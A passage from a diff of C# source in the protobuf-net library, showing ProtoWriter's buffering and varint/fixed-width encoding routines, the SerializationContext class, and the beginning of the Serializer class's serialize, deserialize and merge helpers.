const int ADVISORY_FLUSH_SIZE = 1024;
|
||||
if (--writer.flushLock == 0 && writer.ioIndex >= ADVISORY_FLUSH_SIZE)
|
||||
{
|
||||
ProtoWriter.Flush(writer);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new writer against a stream
|
||||
/// </summary>
|
||||
/// <param name="dest">The destination stream</param>
|
||||
/// <param name="model">The model to use for serialization; this can be null, but this will impair the ability to serialize sub-objects</param>
|
||||
/// <param name="context">Additional context about this serialization operation</param>
|
||||
public ProtoWriter(Stream dest, TypeModel model, SerializationContext context)
|
||||
{
|
||||
if (dest == null) throw new ArgumentNullException("dest");
|
||||
if (!dest.CanWrite) throw new ArgumentException("Cannot write to stream", "dest");
|
||||
//if (model == null) throw new ArgumentNullException("model");
|
||||
this.dest = dest;
|
||||
this.ioBuffer = BufferPool.GetBuffer();
|
||||
this.model = model;
|
||||
this.wireType = WireType.None;
|
||||
if (context == null) { context = SerializationContext.Default; }
|
||||
else { context.Freeze(); }
|
||||
this.context = context;
|
||||
|
||||
}
|
||||
|
||||
private readonly SerializationContext context;
|
||||
/// <summary>
|
||||
/// Addition information about this serialization operation.
|
||||
/// </summary>
|
||||
public SerializationContext Context { get { return context; } }
|
||||
void IDisposable.Dispose()
|
||||
{
|
||||
Dispose();
|
||||
}
|
||||
private void Dispose()
|
||||
{ // importantly, this does **not** own the stream, and does not dispose it
|
||||
if (dest != null)
|
||||
{
|
||||
Flush(this);
|
||||
dest = null;
|
||||
}
|
||||
model = null;
|
||||
BufferPool.ReleaseBufferToPool(ref ioBuffer);
|
||||
}
|
||||
|
||||
private byte[] ioBuffer;
|
||||
private int ioIndex;
|
||||
internal static int GetPosition(ProtoWriter writer) { return writer.position; }
|
||||
private int position;
|
||||
private static void DemandSpace(int required, ProtoWriter writer)
|
||||
{
|
||||
// check for enough space
|
||||
if ((writer.ioBuffer.Length - writer.ioIndex) < required)
|
||||
{
|
||||
if (writer.flushLock == 0)
|
||||
{
|
||||
Flush(writer); // try emptying the buffer
|
||||
if ((writer.ioBuffer.Length - writer.ioIndex) >= required) return;
|
||||
}
|
||||
// either can't empty the buffer, or that didn't help; need more space
|
||||
BufferPool.ResizeAndFlushLeft(ref writer.ioBuffer, required + writer.ioIndex, 0, writer.ioIndex);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Flushes data to the underlying stream, and releases any resources. The underlying stream is *not* disposed
|
||||
/// by this operation.
|
||||
/// </summary>
|
||||
public void Close()
|
||||
{
|
||||
if (depth != 0 || flushLock != 0) throw new InvalidOperationException("Unable to close stream in an incomplete state");
|
||||
Dispose();
|
||||
}
|
||||
|
||||
internal void CheckDepthFlushlock()
|
||||
{
|
||||
if (depth != 0 || flushLock != 0) throw new InvalidOperationException("The writer is in an incomplete state");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get the TypeModel associated with this writer
|
||||
/// </summary>
|
||||
public TypeModel Model { get { return model; } }
|
||||
|
||||
/// <summary>
|
||||
/// Writes any buffered data (if possible) to the underlying stream.
|
||||
/// </summary>
|
||||
/// <param name="writer">The writer to flush</param>
|
||||
/// <remarks>It is not always possible to fully flush, since some sequences
|
||||
/// may require values to be back-filled into the byte-stream.</remarks>
|
||||
internal static void Flush(ProtoWriter writer)
|
||||
{
|
||||
if (writer.flushLock == 0 && writer.ioIndex != 0)
|
||||
{
|
||||
writer.dest.Write(writer.ioBuffer, 0, writer.ioIndex);
|
||||
writer.ioIndex = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes an unsigned 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
|
||||
/// </summary>
|
||||
private static void WriteUInt32Variant(uint value, ProtoWriter writer)
|
||||
{
|
||||
DemandSpace(5, writer);
|
||||
int count = 0;
|
||||
do {
|
||||
writer.ioBuffer[writer.ioIndex++] = (byte)((value & 0x7F) | 0x80);
|
||||
count++;
|
||||
} while ((value >>= 7) != 0);
|
||||
writer.ioBuffer[writer.ioIndex - 1] &= 0x7F;
|
||||
writer.position += count;
|
||||
}
|
||||
|
||||
static readonly UTF8Encoding encoding = new UTF8Encoding();
|
||||
|
||||
internal static uint Zig(int value)
|
||||
{
|
||||
return (uint)((value << 1) ^ (value >> 31));
|
||||
}
|
||||
internal static ulong Zig(long value)
|
||||
{
|
||||
return (ulong)((value << 1) ^ (value >> 63));
|
||||
}
|
||||
private static void WriteUInt64Variant(ulong value, ProtoWriter writer)
|
||||
{
|
||||
DemandSpace(10, writer);
|
||||
int count = 0;
|
||||
do
|
||||
{
|
||||
writer.ioBuffer[writer.ioIndex++] = (byte)((value & 0x7F) | 0x80);
|
||||
count++;
|
||||
} while ((value >>= 7) != 0);
|
||||
writer.ioBuffer[writer.ioIndex - 1] &= 0x7F;
|
||||
writer.position += count;
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a string to the stream; supported wire-types: String
|
||||
/// </summary>
|
||||
public static void WriteString(string value, ProtoWriter writer)
|
||||
{
|
||||
if (writer.wireType != WireType.String) throw CreateException(writer);
|
||||
if (value == null) throw new ArgumentNullException("value"); // written header; now what?
|
||||
int len = value.Length;
|
||||
if (len == 0)
|
||||
{
|
||||
WriteUInt32Variant(0, writer);
|
||||
writer.wireType = WireType.None;
|
||||
return; // just a header
|
||||
}
|
||||
#if MF
|
||||
byte[] bytes = encoding.GetBytes(value);
|
||||
int actual = bytes.Length;
|
||||
writer.WriteUInt32Variant((uint)actual);
|
||||
writer.Ensure(actual);
|
||||
Helpers.BlockCopy(bytes, 0, writer.ioBuffer, writer.ioIndex, actual);
|
||||
#else
|
||||
int predicted = encoding.GetByteCount(value);
|
||||
WriteUInt32Variant((uint)predicted, writer);
|
||||
DemandSpace(predicted, writer);
|
||||
int actual = encoding.GetBytes(value, 0, value.Length, writer.ioBuffer, writer.ioIndex);
|
||||
Helpers.DebugAssert(predicted == actual);
|
||||
#endif
|
||||
IncrementedAndReset(actual, writer);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes an unsigned 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public static void WriteUInt64(ulong value, ProtoWriter writer)
|
||||
{
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed64:
|
||||
ProtoWriter.WriteInt64((long)value, writer);
|
||||
return;
|
||||
case WireType.Variant:
|
||||
WriteUInt64Variant(value, writer);
|
||||
writer.wireType = WireType.None;
|
||||
return;
|
||||
case WireType.Fixed32:
|
||||
checked { ProtoWriter.WriteUInt32((uint)value, writer); }
|
||||
return;
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a signed 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
|
||||
/// </summary>
|
||||
public static void WriteInt64(long value, ProtoWriter writer)
|
||||
{
|
||||
byte[] buffer;
|
||||
int index;
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed64:
|
||||
DemandSpace(8, writer);
|
||||
buffer = writer.ioBuffer;
|
||||
index = writer.ioIndex;
|
||||
buffer[index] = (byte)value;
|
||||
buffer[index + 1] = (byte)(value >> 8);
|
||||
buffer[index + 2] = (byte)(value >> 16);
|
||||
buffer[index + 3] = (byte)(value >> 24);
|
||||
buffer[index + 4] = (byte)(value >> 32);
|
||||
buffer[index + 5] = (byte)(value >> 40);
|
||||
buffer[index + 6] = (byte)(value >> 48);
|
||||
buffer[index + 7] = (byte)(value >> 56);
|
||||
IncrementedAndReset(8, writer);
|
||||
return;
|
||||
case WireType.SignedVariant:
|
||||
WriteUInt64Variant(Zig(value), writer);
|
||||
writer.wireType = WireType.None;
|
||||
return;
|
||||
case WireType.Variant:
|
||||
if (value >= 0)
|
||||
{
|
||||
WriteUInt64Variant((ulong)value, writer);
|
||||
writer.wireType = WireType.None;
|
||||
}
|
||||
else
|
||||
{
|
||||
DemandSpace(10, writer);
|
||||
buffer = writer.ioBuffer;
|
||||
index = writer.ioIndex;
|
||||
buffer[index] = (byte)(value | 0x80);
|
||||
buffer[index + 1] = (byte)((int)(value >> 7) | 0x80);
|
||||
buffer[index + 2] = (byte)((int)(value >> 14) | 0x80);
|
||||
buffer[index + 3] = (byte)((int)(value >> 21) | 0x80);
|
||||
buffer[index + 4] = (byte)((int)(value >> 28) | 0x80);
|
||||
buffer[index + 5] = (byte)((int)(value >> 35) | 0x80);
|
||||
buffer[index + 6] = (byte)((int)(value >> 42) | 0x80);
|
||||
buffer[index + 7] = (byte)((int)(value >> 49) | 0x80);
|
||||
buffer[index + 8] = (byte)((int)(value >> 56) | 0x80);
|
||||
buffer[index + 9] = 0x01; // sign bit
|
||||
IncrementedAndReset(10, writer);
|
||||
}
|
||||
return;
|
||||
case WireType.Fixed32:
|
||||
checked { WriteInt32((int)value, writer); }
|
||||
return;
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public static void WriteUInt32(uint value, ProtoWriter writer)
|
||||
{
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
ProtoWriter.WriteInt32((int)value, writer);
|
||||
return;
|
||||
case WireType.Fixed64:
|
||||
ProtoWriter.WriteInt64((int)value, writer);
|
||||
return;
|
||||
case WireType.Variant:
|
||||
WriteUInt32Variant(value, writer);
|
||||
writer.wireType = WireType.None;
|
||||
return;
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Writes a signed 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
|
||||
/// </summary>
|
||||
public static void WriteInt16(short value, ProtoWriter writer)
|
||||
{
|
||||
ProtoWriter.WriteInt32(value, writer);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public static void WriteUInt16(ushort value, ProtoWriter writer)
|
||||
{
|
||||
ProtoWriter.WriteUInt32(value, writer);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes an unsigned 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public static void WriteByte(byte value, ProtoWriter writer)
|
||||
{
|
||||
ProtoWriter.WriteUInt32(value, writer);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a signed 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
|
||||
/// </summary>
|
||||
public static void WriteSByte(sbyte value, ProtoWriter writer)
|
||||
{
|
||||
ProtoWriter.WriteInt32(value, writer);
|
||||
}
|
||||
private static void WriteInt32ToBuffer(int value, byte[] buffer, int index)
|
||||
{
|
||||
buffer[index] = (byte)value;
|
||||
buffer[index + 1] = (byte)(value >> 8);
|
||||
buffer[index + 2] = (byte)(value >> 16);
|
||||
buffer[index + 3] = (byte)(value >> 24);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a signed 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant
|
||||
/// </summary>
|
||||
public static void WriteInt32(int value, ProtoWriter writer)
|
||||
{
|
||||
byte[] buffer;
|
||||
int index;
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
DemandSpace(4, writer);
|
||||
WriteInt32ToBuffer(value, writer.ioBuffer, writer.ioIndex);
|
||||
IncrementedAndReset(4, writer);
|
||||
return;
|
||||
case WireType.Fixed64:
|
||||
DemandSpace(8, writer);
|
||||
buffer = writer.ioBuffer;
|
||||
index = writer.ioIndex;
|
||||
buffer[index] = (byte)value;
|
||||
buffer[index + 1] = (byte)(value >> 8);
|
||||
buffer[index + 2] = (byte)(value >> 16);
|
||||
buffer[index + 3] = (byte)(value >> 24);
|
||||
buffer[index + 4] = buffer[index + 5] =
|
||||
buffer[index + 6] = buffer[index + 7] = 0;
|
||||
IncrementedAndReset(8, writer);
|
||||
return;
|
||||
case WireType.SignedVariant:
|
||||
WriteUInt32Variant(Zig(value), writer);
|
||||
writer.wireType = WireType.None;
|
||||
return;
|
||||
case WireType.Variant:
|
||||
if (value >= 0)
|
||||
{
|
||||
WriteUInt32Variant((uint)value, writer);
|
||||
writer.wireType = WireType.None;
|
||||
}
|
||||
else
|
||||
{
|
||||
DemandSpace(10, writer);
|
||||
buffer = writer.ioBuffer;
|
||||
index = writer.ioIndex;
|
||||
buffer[index] = (byte)(value | 0x80);
|
||||
buffer[index + 1] = (byte)((value >> 7) | 0x80);
|
||||
buffer[index + 2] = (byte)((value >> 14) | 0x80);
|
||||
buffer[index + 3] = (byte)((value >> 21) | 0x80);
|
||||
buffer[index + 4] = (byte)((value >> 28) | 0x80);
|
||||
buffer[index + 5] = buffer[index + 6] =
|
||||
buffer[index + 7] = buffer[index + 8] = (byte)0xFF;
|
||||
buffer[index + 9] = (byte)0x01;
|
||||
IncrementedAndReset(10, writer);
|
||||
}
|
||||
return;
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a double-precision number to the stream; supported wire-types: Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public
|
||||
#if !FEAT_SAFE
|
||||
unsafe
|
||||
#endif
|
||||
|
||||
static void WriteDouble(double value, ProtoWriter writer)
|
||||
{
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
float f = (float)value;
|
||||
if (Helpers.IsInfinity(f)
|
||||
&& !Helpers.IsInfinity(value))
|
||||
{
|
||||
throw new OverflowException();
|
||||
}
|
||||
ProtoWriter.WriteSingle(f, writer);
|
||||
return;
|
||||
case WireType.Fixed64:
|
||||
#if FEAT_SAFE
|
||||
ProtoWriter.WriteInt64(BitConverter.ToInt64(BitConverter.GetBytes(value), 0), writer);
|
||||
#else
|
||||
ProtoWriter.WriteInt64(*(long*)&value, writer);
|
||||
#endif
|
||||
return;
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a single-precision number to the stream; supported wire-types: Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public
|
||||
#if !FEAT_SAFE
|
||||
unsafe
|
||||
#endif
|
||||
static void WriteSingle(float value, ProtoWriter writer)
|
||||
{
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
#if FEAT_SAFE
|
||||
ProtoWriter.WriteInt32(BitConverter.ToInt32(BitConverter.GetBytes(value), 0), writer);
|
||||
#else
|
||||
ProtoWriter.WriteInt32(*(int*)&value, writer);
|
||||
#endif
|
||||
return;
|
||||
case WireType.Fixed64:
|
||||
ProtoWriter.WriteDouble((double)value, writer);
|
||||
return;
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Throws an exception indicating that the given enum cannot be mapped to a serialized value.
|
||||
/// </summary>
|
||||
public static void ThrowEnumException(ProtoWriter writer, object enumValue)
|
||||
{
|
||||
string rhs = enumValue == null ? "<null>" : (enumValue.GetType().FullName + "." + enumValue.ToString());
|
||||
throw new ProtoException("No wire-value is mapped to the enum " + rhs);
|
||||
}
|
||||
// general purpose serialization exception message
|
||||
internal static Exception CreateException(ProtoWriter writer)
|
||||
{
|
||||
return new ProtoException("Invalid serialization operation with wire-type " + writer.wireType + " at position " + writer.position);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a boolean to the stream; supported wire-types: Variant, Fixed32, Fixed64
|
||||
/// </summary>
|
||||
public static void WriteBoolean(bool value, ProtoWriter writer)
|
||||
{
|
||||
ProtoWriter.WriteUInt32(value ? (uint)1 : (uint)0, writer);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies any extension data stored for the instance to the underlying stream
|
||||
/// </summary>
|
||||
public static void AppendExtensionData(IExtensible instance, ProtoWriter writer)
|
||||
{
|
||||
if (instance == null) throw new ArgumentNullException("instance");
|
||||
// we expect the writer to be raw here; the extension data will have the
|
||||
// header detail, so we'll copy it implicitly
|
||||
if(writer.wireType != WireType.None) throw CreateException(writer);
|
||||
|
||||
IExtension extn = instance.GetExtensionObject(false);
|
||||
if (extn != null)
|
||||
{
|
||||
// unusually we *don't* want "using" here; the "finally" does that, with
|
||||
// the extension object being responsible for disposal etc
|
||||
Stream source = extn.BeginQuery();
|
||||
try
|
||||
{
|
||||
CopyRawFromStream(source, writer);
|
||||
}
|
||||
finally { extn.EndQuery(source); }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private int packedFieldNumber;
|
||||
/// <summary>
|
||||
/// Used for packed encoding; indicates that the next field should be skipped rather than
|
||||
/// a field header written. Note that the field number must match, else an exception is thrown
|
||||
/// when the attempt is made to write the (incorrect) field. The wire-type is taken from the
|
||||
/// subsequent call to WriteFieldHeader. Only primitive types can be packed.
|
||||
/// </summary>
|
||||
public static void SetPackedField(int fieldNumber, ProtoWriter writer)
|
||||
{
|
||||
if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
writer.packedFieldNumber = fieldNumber;
|
||||
}
|
||||
|
||||
internal string SerializeType(System.Type type)
|
||||
{
|
||||
return TypeModel.SerializeType(model, type);
|
||||
}
|
||||
/// <summary>
|
||||
/// Specifies a known root object to use during reference-tracked serialization
|
||||
/// </summary>
|
||||
public void SetRootObject(object value)
|
||||
{
|
||||
NetCache.SetKeyedObject(NetObjectCache.Root, value);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a Type to the stream, using the model's DynamicTypeFormatting if appropriate; supported wire-types: String
|
||||
/// </summary>
|
||||
public static void WriteType(System.Type value, ProtoWriter writer)
|
||||
{
|
||||
WriteString(writer.SerializeType(value), writer);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,73 @@
|
|||
using System;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Additional information about a serialization operation
|
||||
/// </summary>
|
||||
public sealed class SerializationContext
|
||||
{
|
||||
private bool frozen;
|
||||
internal void Freeze() { frozen = true;}
|
||||
private void ThrowIfFrozen() { if (frozen) throw new InvalidOperationException("The serialization-context cannot be changed once it is in use"); }
|
||||
private object context;
|
||||
/// <summary>
|
||||
/// Gets or sets a user-defined object containing additional information about this serialization/deserialization operation.
|
||||
/// </summary>
|
||||
public object Context
|
||||
{
|
||||
get { return context; }
|
||||
set { if (context != value) { ThrowIfFrozen(); context = value; } }
|
||||
}
|
||||
|
||||
private static readonly SerializationContext @default;
|
||||
static SerializationContext()
|
||||
{
|
||||
@default = new SerializationContext();
|
||||
@default.Freeze();
|
||||
}
|
||||
/// <summary>
|
||||
/// A default SerializationContext, with minimal information.
|
||||
/// </summary>
|
||||
internal static SerializationContext Default { get {return @default;}}
|
||||
#if PLAT_BINARYFORMATTER || (SILVERLIGHT && NET_4_0)
|
||||
|
||||
#if !(WINRT || PHONE7 || PHONE8)
|
||||
private System.Runtime.Serialization.StreamingContextStates state = System.Runtime.Serialization.StreamingContextStates.Persistence;
|
||||
/// <summary>
|
||||
/// Gets or sets the source or destination of the transmitted data.
|
||||
/// </summary>
|
||||
public System.Runtime.Serialization.StreamingContextStates State
|
||||
{
|
||||
get { return state; }
|
||||
set { if (state != value) { ThrowIfFrozen(); state = value; } }
|
||||
}
|
||||
#endif
|
||||
/// <summary>
|
||||
/// Convert a SerializationContext to a StreamingContext
|
||||
/// </summary>
|
||||
public static implicit operator System.Runtime.Serialization.StreamingContext(SerializationContext ctx)
|
||||
{
|
||||
#if WINRT || PHONE7 || PHONE8
|
||||
return new System.Runtime.Serialization.StreamingContext();
|
||||
#else
|
||||
if (ctx == null) return new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence);
|
||||
return new System.Runtime.Serialization.StreamingContext(ctx.state, ctx.context);
|
||||
#endif
|
||||
}
|
||||
/// <summary>
|
||||
/// Convert a StreamingContext to a SerializationContext
|
||||
/// </summary>
|
||||
public static implicit operator SerializationContext (System.Runtime.Serialization.StreamingContext ctx)
|
||||
{
|
||||
SerializationContext result = new SerializationContext();
|
||||
#if !(WINRT || PHONE7 || PHONE8)
|
||||
result.Context = ctx.Context;
|
||||
result.State = ctx.State;
|
||||
#endif
|
||||
return result;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,529 @@
|
|||
|
||||
using ProtoBuf.Meta;
|
||||
using System;
|
||||
using System.IO;
|
||||
#if !NO_GENERICS
|
||||
using System.Collections.Generic;
|
||||
#endif
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides protocol-buffer serialization capability for concrete, attributed types. This
|
||||
/// is a *default* model, but custom serializer models are also supported.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Protocol-buffer serialization is a compact binary format, designed to take
|
||||
/// advantage of sparse data and knowledge of specific data types; it is also
|
||||
/// extensible, allowing a type to be deserialized / merged even if some data is
|
||||
/// not recognised.
|
||||
/// </remarks>
|
||||
public
|
||||
#if FX11
|
||||
sealed
|
||||
#else
|
||||
static
|
||||
#endif
|
||||
class Serializer
|
||||
{
|
||||
#if FX11
|
||||
private Serializer() { } // not a static class for C# 1.2 reasons
|
||||
#endif
|
||||
#if !NO_RUNTIME && !NO_GENERICS
|
||||
/// <summary>
|
||||
/// Suggest a .proto definition for the given type
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type to generate a .proto definition for</typeparam>
|
||||
/// <returns>The .proto definition as a string</returns>
|
||||
public static string GetProto<T>()
|
||||
{
|
||||
return RuntimeTypeModel.Default.GetSchema(RuntimeTypeModel.Default.MapType(typeof(T)));
|
||||
}
|
||||
/// <summary>
|
||||
/// Create a deep clone of the supplied instance; any sub-items are also cloned.
|
||||
/// </summary>
|
||||
public static T DeepClone<T>(T instance)
|
||||
{
|
||||
return instance == null ? instance : (T)RuntimeTypeModel.Default.DeepClone(instance);
|
||||
}
|
||||
/// <summary>
|
||||
/// Applies a protocol-buffer stream to an existing instance.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being merged.</typeparam>
|
||||
/// <param name="instance">The existing instance to be modified (can be null).</param>
|
||||
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
|
||||
/// <returns>The updated instance; this may be different to the instance argument if
|
||||
/// either the original instance was null, or the stream defines a known sub-type of the
|
||||
/// original instance.</returns>
|
||||
public static T Merge<T>(Stream source, T instance)
|
||||
{
|
||||
return (T)RuntimeTypeModel.Default.Deserialize(source, instance, typeof(T));
|
||||
}
|
||||
/// <summary>
|
||||
/// Creates a new instance from a protocol-buffer stream
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type to be created.</typeparam>
|
||||
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
|
||||
/// <returns>A new, initialized instance.</returns>
|
||||
public static T Deserialize<T>(Stream source)
|
||||
{
|
||||
return (T) RuntimeTypeModel.Default.Deserialize(source, null, typeof(T));
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied stream.
|
||||
/// </summary>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="destination">The destination stream to write to.</param>
|
||||
public static void Serialize<T>(Stream destination, T instance)
|
||||
{
|
||||
if(instance != null) {
|
||||
RuntimeTypeModel.Default.Serialize(destination, instance);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Serializes a given instance and deserializes it as a different type;
|
||||
/// this can be used to translate between wire-compatible objects (where
|
||||
/// two .NET types represent the same data), or to promote/demote a type
|
||||
/// through an inheritance hierarchy.
|
||||
/// </summary>
|
||||
/// <remarks>No assumption of compatibility is made between the types.</remarks>
|
||||
/// <typeparam name="TFrom">The type of the object being copied.</typeparam>
|
||||
/// <typeparam name="TTo">The type of the new object to be created.</typeparam>
|
||||
/// <param name="instance">The existing instance to use as a template.</param>
|
||||
/// <returns>A new instane of type TNewType, with the data from TOldType.</returns>
|
||||
public static TTo ChangeType<TFrom,TTo>(TFrom instance)
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
Serialize<TFrom>(ms, instance);
|
||||
ms.Position = 0;
|
||||
return Deserialize<TTo>(ms);
|
||||
}
|
||||
}
|
||||
#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8)
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being serialized.</typeparam>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="info">The destination SerializationInfo to write to.</param>
|
||||
public static void Serialize<T>(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable
|
||||
{
|
||||
Serialize<T>(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being serialized.</typeparam>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="info">The destination SerializationInfo to write to.</param>
|
||||
/// <param name="context">Additional information about this serialization operation.</param>
|
||||
public static void Serialize<T>(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable
|
||||
{
|
||||
// note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization)
|
||||
if (info == null) throw new ArgumentNullException("info");
|
||||
if (instance == null) throw new ArgumentNullException("instance");
|
||||
if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance");
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
RuntimeTypeModel.Default.Serialize(ms, instance, context);
|
||||
info.AddValue(ProtoBinaryField, ms.ToArray());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
#if PLAT_XMLSERIALIZER
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied XmlWriter.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being serialized.</typeparam>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="writer">The destination XmlWriter to write to.</param>
|
||||
public static void Serialize<T>(System.Xml.XmlWriter writer, T instance) where T : System.Xml.Serialization.IXmlSerializable
|
||||
{
|
||||
if (writer == null) throw new ArgumentNullException("writer");
|
||||
if (instance == null) throw new ArgumentNullException("instance");
|
||||
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
Serializer.Serialize(ms, instance);
|
||||
writer.WriteBase64(ms.GetBuffer(), 0, (int)ms.Length);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Applies a protocol-buffer from an XmlReader to an existing instance.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being merged.</typeparam>
|
||||
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
|
||||
/// <param name="reader">The XmlReader containing the data to apply to the instance (cannot be null).</param>
|
||||
public static void Merge<T>(System.Xml.XmlReader reader, T instance) where T : System.Xml.Serialization.IXmlSerializable
|
||||
{
|
||||
if (reader == null) throw new ArgumentNullException("reader");
|
||||
if (instance == null) throw new ArgumentNullException("instance");
|
||||
|
||||
const int LEN = 4096;
|
||||
byte[] buffer = new byte[LEN];
|
||||
int read;
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
int depth = reader.Depth;
|
||||
while(reader.Read() && reader.Depth > depth)
|
||||
{
|
||||
if (reader.NodeType == System.Xml.XmlNodeType.Text)
|
||||
{
|
||||
while ((read = reader.ReadContentAsBase64(buffer, 0, LEN)) > 0)
|
||||
{
|
||||
ms.Write(buffer, 0, read);
|
||||
}
|
||||
if (reader.Depth <= depth) break;
|
||||
}
|
||||
}
|
||||
ms.Position = 0;
|
||||
Serializer.Merge(ms, instance);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
private const string ProtoBinaryField = "proto";
|
||||
#if PLAT_BINARYFORMATTER && !NO_GENERICS && !(WINRT || PHONE8)
|
||||
/// <summary>
|
||||
/// Applies a protocol-buffer from a SerializationInfo to an existing instance.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being merged.</typeparam>
|
||||
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
|
||||
/// <param name="info">The SerializationInfo containing the data to apply to the instance (cannot be null).</param>
|
||||
public static void Merge<T>(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable
|
||||
{
|
||||
Merge<T>(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance);
|
||||
}
|
||||
/// <summary>
|
||||
/// Applies a protocol-buffer from a SerializationInfo to an existing instance.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being merged.</typeparam>
|
||||
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
|
||||
/// <param name="info">The SerializationInfo containing the data to apply to the instance (cannot be null).</param>
|
||||
/// <param name="context">Additional information about this serialization operation.</param>
